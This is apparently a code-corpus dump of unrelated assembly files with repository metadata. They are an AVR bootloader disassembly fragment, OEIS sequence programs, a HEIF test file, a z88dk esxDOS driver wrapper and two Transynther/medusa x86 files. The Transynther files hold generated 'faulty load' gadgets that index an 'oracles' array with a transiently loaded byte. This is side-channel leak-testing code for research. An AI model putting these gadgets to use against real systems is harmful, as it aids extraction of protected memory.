3950: 2e d0 rcall .+92 ; 0x39ae
3952: 26 c0 rjmp .+76 ; 0x39a0
3954: a5 36 cpi r26, 0x65 ; 101
3956: 19 f4 brne .+6 ; 0x395e
3958: 3d e0 ldi r19, 0x0D ; 13
395a: 29 d0 rcall .+82 ; 0x39ae
395c: 21 c0 rjmp .+66 ; 0x39a0
395e: a5 35 cpi r26, 0x55 ; 85
3960: 81 f4 brne .+32 ; 0x3982
3962: e0 e0 ldi r30, 0x00 ; 0
3964: f0 e0 ldi r31, 0x00 ; 0
3966: 00 e0 ldi r16, 0x00 ; 0
3968: 33 e0 ldi r19, 0x03 ; 3
396a: 37 bf out 0x37, r19 ; 55
396c: e8 95 spm
396e: 19 d0 rcall .+50 ; 0x39a2
3970: e0 58 subi r30, 0x80 ; 128
3972: ff 4f sbci r31, 0xFF ; 255
3974: 00 37 cpi r16, 0x70 ; 112
3976: 11 f0 breq .+4 ; 0x397c
3978: 03 95 inc r16
397a: f6 cf rjmp .-20 ; 0x3968
397c: 3d e0 ldi r19, 0x0D ; 13
397e: 17 d0 rcall .+46 ; 0x39ae
3980: 0f c0 rjmp .+30 ; 0x39a0
3982: a8 37 cpi r26, 0x78 ; 120
3984: 09 f4 brne .+2 ; 0x3988
3986: 02 c0 rjmp .+4 ; 0x398c
3988: a9 37 cpi r26, 0x79 ; 121
398a: 21 f4 brne .+8 ; 0x3994
398c: 14 d0 rcall .+40 ; 0x39b6
398e: 3d e0 ldi r19, 0x0D ; 13
3990: 0e d0 rcall .+28 ; 0x39ae
3992: 06 c0 rjmp .+12 ; 0x39a0
3994: ab 31 cpi r26, 0x1B ; 27
3996: 09 f4 brne .+2 ; 0x399a
3998: 03 c0 rjmp .+6 ; 0x39a0
399a: 3f e3 ldi r19, 0x3F ; 63
399c: 08 d0 rcall .+16 ; 0x39ae
399e: 00 c0 rjmp .+0 ; 0x39a0
39a0: 3d cf rjmp .-390 ; 0x381c
39a2: 37 b7 in r19, 0x37 ; 55
39a4: 30 fd sbrc r19, 0
39a6: fd cf rjmp .-6 ; 0x39a2
39a8: 31 e1 ldi r19, 0x11 ; 17
39aa: 37 bf out 0x37, r19 ; 55
39ac: 08 95 ret
39ae: 5d 9b sbis 0x0b, 5 ; 11
39b0: fe cf rjmp .-4 ; 0x39ae
39b2: 3c b9 out 0x0c, r19 ; 12
39b4: 08 95 ret
39b6: 5f 9b sbis 0x0b, 7 ; 11
39b8: fe cf rjmp .-4 ; 0x39b6
39ba: 3c b1 in r19, 0x0c ; 12
39bc: 08 95 ret
39be: ff 93 push r31
39c0: ef 93 push r30
39c2: e3 e3 ldi r30, 0x33 ; 51
39c4: f7 e0 ldi r31, 0x07 ; 7
39c6: 31 97 sbiw r30, 0x01 ; 1
39c8: f1 f7 brne .-4 ; 0x39c6
39ca: ef 91 pop r30
39cc: ff 91 pop r31
39ce: e1 50 subi r30, 0x01 ; 1
39d0: f0 40 sbci r31, 0x00 ; 0
39d2: a9 f7 brne .-22 ; 0x39be
39d4: 08 95 ret
| 42.855967
| 49
| 0.444114
|
4dae5cf1fb1c3423128bfa8c3a168b2e3674521b
| 385
|
asm
|
Assembly
|
programs/oeis/122/A122219.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/122/A122219.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/122/A122219.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A122219: Period 9: repeat 5, 4, 5, 4, 3, 4, 5, 4, 5.
; 5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4
add $0,1
mod $0,9
add $0,1
mov $1,2
lpb $0,1
add $2,$0
div $0,3
sub $1,$0
sub $0,$2
sub $2,$2
lpe
add $1,3
| 24.0625
| 211
| 0.498701
|
205d86791b30af9162cd3fdd84e3f6f7a67605d0
| 2,288
|
asm
|
Assembly
|
tests/miaf/valid-extra-free-boxes.asm
|
y-guyon/ComplianceWarden
|
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
|
[
"BSD-3-Clause"
] | 3
|
2020-01-02T17:30:16.000Z
|
2021-09-27T18:32:18.000Z
|
tests/miaf/valid-extra-free-boxes.asm
|
y-guyon/ComplianceWarden
|
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
|
[
"BSD-3-Clause"
] | 34
|
2020-01-22T01:41:22.000Z
|
2021-12-09T13:20:33.000Z
|
tests/miaf/valid-extra-free-boxes.asm
|
y-guyon/ComplianceWarden
|
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
|
[
"BSD-3-Clause"
] | 2
|
2020-11-05T01:41:08.000Z
|
2021-11-19T13:12:35.000Z
|
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) )
ftyp_start:
dd BE(ftyp_end - ftyp_start)
db "ftyp"
db "isom"
dd BE(0x00)
db "mif1", "miaf"
ftyp_end:
;"FreeSpaceBox as defined in ISO/IEC 14496-12 may be present as permitted by that specification, including at top level"
free1_start:
dd BE(free1_end - free1_start)
db "free"
free1_end:
meta_start:
dd BE(meta_end - meta_start)
db "meta"
dd BE(0)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
db "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
db "pitm"
dd BE(0)
db 0x00, 0x01
pitm_end:
iinf_start:
dd BE(iinf_end - iinf_start)
dd "iinf"
db 0x00 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x01 ; "entry_count(16)"
infe_start:
dd BE(infe_end - infe_start)
dd "infe"
db 0x02 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x01 ; "item_ID(16)"
db 0x00, 0x00 ; "item_protection_index(16)"
db 0x61, 0x76, 0x30, 0x31 ; "item_type(32)" ('av01')
db 0x00 ; "item_name(8)"
infe_end:
iinf_end:
iprp_start:
dd BE(iprp_end - iprp_start)
db "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
db "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
db "ispe"
dd 0, 0, 0
ispe_end:
pixi_start:
dd BE(pixi_end - pixi_start)
dd "pixi"
pixi_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x00, 0x00, 0x01 ; "entry_count(32)"
db 0x00, 0x01 ; "item_ID(16)"
db 0x02 ; "association_count(8)"
db 0x81 ; "essential(1)" "property_index(7)"
db 0x82 ; "essential(1)" "property_index(7)"
ipma_end:
iprp_end:
meta_end:
;"FreeSpaceBox as defined in ISO/IEC 14496-12 may be present as permitted by that specification, including at top level"
free2_start:
dd BE(free2_end - free2_start)
db "free"
free2_end:
; vim: syntax=nasm
| 22.88
| 120
| 0.641608
|
5727018e1aaddf16e4ca26ccbdcc40bef13a60a5
| 122
|
asm
|
Assembly
|
footer.asm
|
spratt/metallisp
|
bebcedc1fa8ea15b3f415475ae26586c37939870
|
[
"MIT"
] | 2
|
2018-12-26T19:20:22.000Z
|
2021-11-04T19:55:01.000Z
|
footer.asm
|
spratt/metallisp
|
bebcedc1fa8ea15b3f415475ae26586c37939870
|
[
"MIT"
] | null | null | null |
footer.asm
|
spratt/metallisp
|
bebcedc1fa8ea15b3f415475ae26586c37939870
|
[
"MIT"
] | null | null | null |
;; compiler-generated code ends
;; footer.asm begins
times 510 - ($-$$) db 0
dw 0xaa55
| 24.4
| 39
| 0.483607
|
3f0ac2b1604cf6822fc6f141ae1fc2f17926f9a6
| 2,492
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_drvapi.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_drvapi.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_drvapi.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | null | null | null |
; unsigned char esx_m_drvapi(struct esx_drvapi *)
INCLUDE "config_private.inc"
SECTION code_esxdos
PUBLIC asm_esx_m_drvapi
EXTERN error_znc
EXTERN __esxdos_error_mc
asm_esx_m_drvapi:
; enter : hl = struct esx_drvapi *
; (struct has input values set)
;
; exit : success
;
; hl = 0
; (struct has output values set)
; carry reset
;
; fail
;
; hl = -1
; carry set, errno set
;
; uses : all except ix,iy
push hl ; save esx_drvapi *
ld c,(hl)
inc hl
ld b,(hl)
inc hl
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
push ix
push iy
rst __ESX_RST_SYS
defb __ESX_M_DRVAPI
pop iy
pop ix
jr c, error
ex (sp),hl ; restore esx_drvapi *
ld (hl),c
inc hl
ld (hl),b
inc hl
ld (hl),e
inc hl
ld (hl),d
inc hl
pop bc
ld (hl),c
inc hl
ld (hl),b
jp error_znc
error:
pop hl
or a
jp nz, __esxdos_error_mc
; driver not found
ld a,__ESX_ENODEV
jp __esxdos_error_mc
; ***************************************************************************
; * M_DRVAPI ($92) *
; ***************************************************************************
; Access API for installable drivers.
; Entry:
; C=driver id (0=driver API)
; B=call id
; HL,DE=other parameters
; Exit (success):
; Fc=0
; other values depend on API call
; Exit (failure):
; Fc=1
; A=0, driver not found
; else A=driver-specific error code (esxDOS error code for driver API)
; If C=0, the driver API is selected and calls are as follows:
; (Note that these are not really useful for user applications; they are used
; by the .install/.uninstall dot commands).
;
; B=0, query the RTC
; (returns the same results as M_GETDATE)
;
; B=1, install a driver
; D=number of relocations (0-255)
; E=driver id, with bit 7=1 if should be called on an IM1 interrupt
; HL=address of 512-byte driver code followed by D x 2-byte reloc offsets
; Possible error values are:
; esx_eexist (18) driver with same id already installed
; esx_einuse (23) no free driver slots available
; esx_eloadingko (26) bad relocation table
;
; B=2, uninstall a driver
; E=driver id (bit 7 ignored)
;
; B=3, get paging value for driver banks
; C=port (always $e3 on ZXNext)
; A=paging value for DivMMC bank containing drivers (usually $82)
| 19.936
| 77
| 0.575843
|
9fc0ba5c935198b27d46ead105dc8536937cb144
| 4,425
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_write_justified.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_write_justified.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_write_justified.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; int fzx_write_justified(struct fzx_state *fs, char *buf, uint16_t buflen, uint16_t allowed_width)
SECTION code_font
SECTION code_font_fzx
PUBLIC asm_fzx_write_justified
EXTERN __fzx_puts_newline
EXTERN error_mc, error_znc, l_inc_sp, l_divu_16_16x16
EXTERN asm_fzx_buffer_extent, asm_fzx_putc
asm_fzx_write_justified:
; enter : ix = struct fzx_state *
; de = char *buf
; bc = unsigned int buflen
; hl = allowed_width in pixels
;
; exit : success
;
; hl = 0
; carry reset
;
; fail if string extent exceeds allowed_width
;
; hl = -1
; carry set
;
; fail if y bounds exceeded
;
; hl = next unprinted char *buf
; bc = buflen remaining
; carry set
;
; uses : af, bc, de, hl, af'
ld a,b
or c
jp z, error_znc
; find out amount of additional padding required
push de ; save char *buf
push bc ; save buflen
push de ; save char *buf
push bc ; save buflen
push hl ; save allowed_width
ld l,(ix+3)
ld h,(ix+4) ; hl = struct fzx_font *
call asm_fzx_buffer_extent
; hl = buffer extent in pixels
; stack = char *buf, buflen, char *buf, buflen, allowed_width
ex de,hl ; de = buffer extent
pop hl ; hl = allowed_width
or a
sbc hl,de ; hl = additional_padding in pixels
pop bc ; bc = buflen
ex (sp),hl ; hl = char *buf
jp c, error_mc - 3 ; if buffer extent exceeds allowed width
; count number of spaces in buffer
; hl = char *buf
; bc = buflen
; stack = char *buf, buflen, additional_padding
ld a,' '
ld de,0
count_loop:
cpir
jr nz, no_space
inc de ; increase number of spaces found
jp pe, count_loop
no_space:
pop hl ; hl = additional_padding
push de
; compute distributed padding
; hl = additional_padding in pixels
; de = number of spaces
; stack = char *buf, buflen, number of spaces
ld a,d
or e
jr z, number_spaces_zero
call l_divu_16_16x16
ex de,hl ; hl = remainder_padding, de = extra_padding
add hl,de ; hl = last_padding
number_spaces_zero:
pop af
pop bc
ex (sp),hl
push de
push af
write_loop:
; hl = char *buf
; bc = buflen
; stack = last_padding, extra_padding, number of spaces
push bc
push hl
ld c,(hl)
call asm_fzx_putc
jr c, off_screen
pop hl
pop bc
ld a,(hl)
cp ' '
jr z, insert_spacing
loop_rejoin:
cpi ; hl++, bc--
jp pe, write_loop
jp error_znc - 3 ; success
insert_spacing:
; hl = char *buf
; bc = buflen
; stack = last_padding, extra_padding, number of spaces
pop de ; de = number of spaces
ex (sp),hl ; hl = extra_padding
dec de
ld a,d
or e
jr nz, add_spacing
; last space
; de = number of spaces = 0
; bc = buflen
; stack = last_padding, char *buf
pop de
pop hl ; hl = last_padding
push hl
push de
add_spacing:
; hl = extra_padding
; de = number of spaces
; bc = buflen
; stack = last_padding, char *buf
ex de,hl ; de = extra_padding
push hl ; save number of spaces
ld l,(ix+5)
ld h,(ix+6) ; hl = x coord
add hl,de
ld (ix+5),l
ld (ix+6),h ; store new x coord
pop hl ; hl = number of spaces
ex de,hl ; de = number of spaces
ex (sp),hl ; hl = char *buf
push de
jr loop_rejoin
off_screen:
; stack = last_padding, extra_padding, number of spaces, buflen, char *buf
dec a
jr nz, newline
; y went out of bounds, must bail
pop hl ; hl = next char *buf
pop bc ; bc = buflen remaining
jp l_inc_sp - 6
newline:
call __fzx_puts_newline
pop hl
pop bc
jr write_loop
| 20.113636
| 99
| 0.514124
|
6efd37c9b49796fa262063b31e2f86675060e52f
| 1,825
|
asm
|
Assembly
|
programs/oeis/010/A010974.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/010/A010974.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/010/A010974.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A010974: a(n) = binomial(n,21).
; 1,22,253,2024,12650,65780,296010,1184040,4292145,14307150,44352165,129024480,354817320,927983760,2319959400,5567902560,12875774670,28781143380,62359143990,131282408400,269128937220,538257874440,1052049481860,2012616400080,3773655750150,6943526580276,12551759587422,22314239266528,39049918716424,67327446062800,114456658306760,191991813933920,317986441828055,520341450264090,841728816603675,1346766106565880,2132379668729310,3342649210440540,5189902721473470,7984465725343800,12176310231149295,18412956934908690,27619435402363035,41107996877935680,60727722660586800,89067326568860640,129728497393775280,187692294101632320,269807672771096460,385439532530137800,547324136192795676,772692898154535072,1084741953178481928,1514545368588823824,2103535234151144200,2906703232645217440,3996716944887173980,5469191608792974920,7449416156804224460,10100903263463355200,13636219405675529520,18330655594514646240,24539426037817994160,32719234717090658880,43455233608636031325,57494616774503056830,75788358475481302185,99542918594662008840,130284114043013511570,169935800925669797700,220916541203370737010,286258053390283208520,369749985629115811005,476116419851190222390,611230538998149609825,782375089917631500576,998557680552766520472,1270891593430793753328,1613054714739084379224,2041841411062132125600,2577824781465941808570,3246149724808963758940,4077480751894186185010,5109132508397534496880,6386415635496918121100,7964235968972627303960,9908991263721757227020,12300816741171836557680,15236238918042388463490,18831306527917558775100,23225278051098322489290,28584957601351781525280,35109784879921209916920,43037800820548579898160,52652628663437092428600,64291630789038976018080,78355425024141252022035,95318970647924409676290,115744464358193926035495,140296320434174455800600
add $0,21
bin $0,21
| 304.166667
| 1,769
| 0.931507
|
038e5c58b83356aad5add24bd7c091180eb963a9
| 5,884
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_957.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x14799, %rsi
lea addresses_WT_ht+0x1b2f1, %rdi
nop
nop
nop
nop
xor $17419, %rdx
mov $20, %rcx
rep movsb
nop
nop
nop
and $18270, %rcx
lea addresses_A_ht+0xa06d, %rsi
lea addresses_A_ht+0x191ed, %rdi
nop
and %rbp, %rbp
mov $79, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x15cf1, %rsi
lea addresses_D_ht+0x1ef71, %rdi
nop
nop
nop
nop
inc %rbx
mov $52, %rcx
rep movsb
nop
dec %rcx
lea addresses_WC_ht+0xdd91, %rsi
lea addresses_D_ht+0x126f1, %rdi
nop
nop
cmp $32366, %r12
mov $34, %rcx
rep movsw
nop
nop
nop
lfence
lea addresses_D_ht+0xd13, %rbx
nop
nop
nop
nop
nop
dec %rcx
movl $0x61626364, (%rbx)
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %r9
push %rdi
push %rsi
// Load
lea addresses_D+0x2cf1, %r9
nop
nop
nop
dec %r13
mov (%r9), %esi
nop
nop
nop
nop
sub %r10, %r10
// Store
mov $0x6f1, %rdi
nop
nop
dec %r14
movb $0x51, (%rdi)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_normal+0xf2f1, %r13
nop
cmp %r15, %r15
movw $0x5152, (%r13)
nop
add $48327, %r9
// Faulty Load
lea addresses_D+0x154f1, %r9
nop
nop
inc %r14
movb (%r9), %r13b
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rdi
pop %r9
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 37.477707
| 2,999
| 0.657546
|
f1a4ffa3af9be5789747cb80eecd02f4fe4b77e2
| 5,885
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_19795_1800.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_19795_1800.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_19795_1800.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x7f60, %rsi
clflush (%rsi)
xor $62783, %rdi
mov (%rsi), %r9
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_A_ht+0x1a240, %rsi
lea addresses_WT_ht+0x49c4, %rdi
and $21628, %r9
mov $117, %rcx
rep movsl
nop
nop
nop
nop
and %r9, %r9
lea addresses_WC_ht+0x6ee0, %rsi
lea addresses_A_ht+0x15460, %rdi
nop
sub %rdx, %rdx
mov $51, %rcx
rep movsw
nop
nop
nop
nop
inc %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r9
push %rbx
push %rdi
push %rsi
// Load
lea addresses_WT+0x4e40, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov (%rdi), %r9d
nop
nop
nop
nop
and %rdi, %rdi
// Store
lea addresses_D+0x3c0, %rbx
clflush (%rbx)
nop
nop
nop
cmp $13040, %rsi
movw $0x5152, (%rbx)
nop
add %rsi, %rsi
// Store
lea addresses_normal+0x1b7f2, %r12
add %rdi, %rdi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%r12)
nop
xor %r9, %r9
// Store
lea addresses_WT+0x9e3d, %r11
nop
nop
nop
nop
add $17625, %rdi
movw $0x5152, (%r11)
add $47717, %rsi
// Store
lea addresses_A+0xe84, %rdi
cmp %r14, %r14
movw $0x5152, (%rdi)
nop
nop
nop
nop
nop
cmp $52216, %r9
// Faulty Load
lea addresses_PSE+0x8dc0, %rdi
clflush (%rdi)
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%rdi), %ebx
lea oracles, %r11
and $0xff, %rbx
shlq $12, %rbx
mov (%r11,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
